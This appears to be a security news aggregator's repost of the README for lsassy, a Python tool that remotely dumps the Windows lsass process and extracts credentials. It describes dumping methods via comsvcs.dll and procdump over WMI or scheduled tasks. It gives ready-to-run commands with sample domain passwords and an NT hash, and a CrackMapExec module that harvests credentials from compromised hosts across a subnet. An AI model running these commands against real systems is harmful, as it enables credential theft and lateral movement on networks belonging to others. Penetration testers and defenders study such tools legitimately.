800+ IT
News
als RSS Feed abonnieren📚 Lsassy - Extract Credentials From Lsass Remotely
💡 Newskategorie: IT Security Nachrichten
🔗 Quelle: feedproxy.google.com
Python library to remotely extract credentials. This blog post explains how it works.
You can check the wiki
This library uses impacket project to remotely read necessary bytes in lsass dump and pypykatz to extract credentials.
Requirements
Installation
From pip
python3.7 -m pip install lsassyFrom sources
python3.7 setup.py installBasic Usage
lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target>Advanced
Dumping methods
This tool can dump lsass in different ways.
Dumping methods (
-m or --method)- 0: Try all methods (dll then procdump) to dump lsass, stop on success (Requires -p if dll method fails)
- 1: comsvcs.dll method, stop on success (default)
- 2: Procdump method, stop on success (Requires -p)
- 3: comsvcs.dll + Powershell method, stop on success
- 4: comsvcs.dll + cmd.exe method
comsvcs.dll method
This method only uses built-in Windows files to extract remote credentials. It uses minidump function from comsvcs.dll to dump lsass process.
This method can only be used when context has SeDebugPrivilege. This privilege is either in Powershell local admin context, or cmd.exe SYSTEM context.
Two execution methods can be used.
- WMIExec with cmd.exe (no SeDebugPrivilege), or powershell (SeDebugPrivilege)
- ScheduledTasks with SYSTEM context (SeDebugPrivilege)
Procdump method
This method uploads procdump.exe from SysInternals to dump lsass process. It will first try to execute procdump using WMI, and if it fails it will create a remote task, execute it and delete it.
Examples
lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 0 -p /path/to/procdump.exe
lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 1
lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 2 -p /path/to/procdump.exe
lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 3
lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 4Remote parsing only
lsassy can parse an already dumped lsass process.
lsassy [--hashes [LM:]NT] --dumppath /share/path/to/dump.dmp [<domain>/]<user>[:<password>]@<target>CrackMapExec module
I wrote a CrackMapExec module that uses lsassy to extract credentials on compromised hosts
CrackMapExec module is in
cme folder : CME ModuleExamples
lsassy
# RunDLL Method
lsassy adsec.local/jsnow:Winter_is_coming@dc01.adsec.local
# Procdump Method
lsassy -m 2 -p /tmp/procdump.exe adsec.local/jsnow:Winter_is_coming@dc01.adsec.local
# Remote parsing only
lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/jsnow:Winter_is_coming@dc01.adsec.local
# NT Hash Authentication
lsassy --hashes 952c28bd2fd728898411b301475009b7 Administrator@desktop01.adsec.localCME Module
crackmapexec smb 10.0.0.0/24 -d adsec.local -u Administrator -p Passw0rd -M lsassy -o BLOODHOUND=True NEO4JPASS=bloodhoundChangeLog
v1.1.0
------
* Better execution process : --method flag has been added and described in help text
* Uses random dump name
* Chose between cmd, powershell, dll and/or procdump methods
* CME module is now using light lsassy WMIExec et TASKExec implementation
* Bug fixes
v1.0.0
------
* Built-in lsass dump
** Lsass dump using built-in Windows
** Lsass dump using procdump (using -p parameter)
* Add --dumppath to ask for remote parsing only
* Code refactoring
* Add --quiet to quiet output
v0.2.0
------
* Add BloodHound option to CME module (-o BLOODHOUND=True)
- Set compromised targets as "owned" in BloodHound
- Check if compromised users have at least one path to domain admin
* Custom parsing (json, grep, pretty [default])
* New --hashes option to lsassy
* Include CME module in repository
* Add credentials to CME database
v0.1.0
------
First releaseIssues
If you find an issue with this tool (that's very plausible !), please
- Check that you're using the latest version
- Send as much details as possible.
- For standalone lsassy, please use the
-ddebug flag - For CME module, please use CrackMapExec
--verboseflag
- For standalone lsassy, please use the
Acknowledgments
Contributors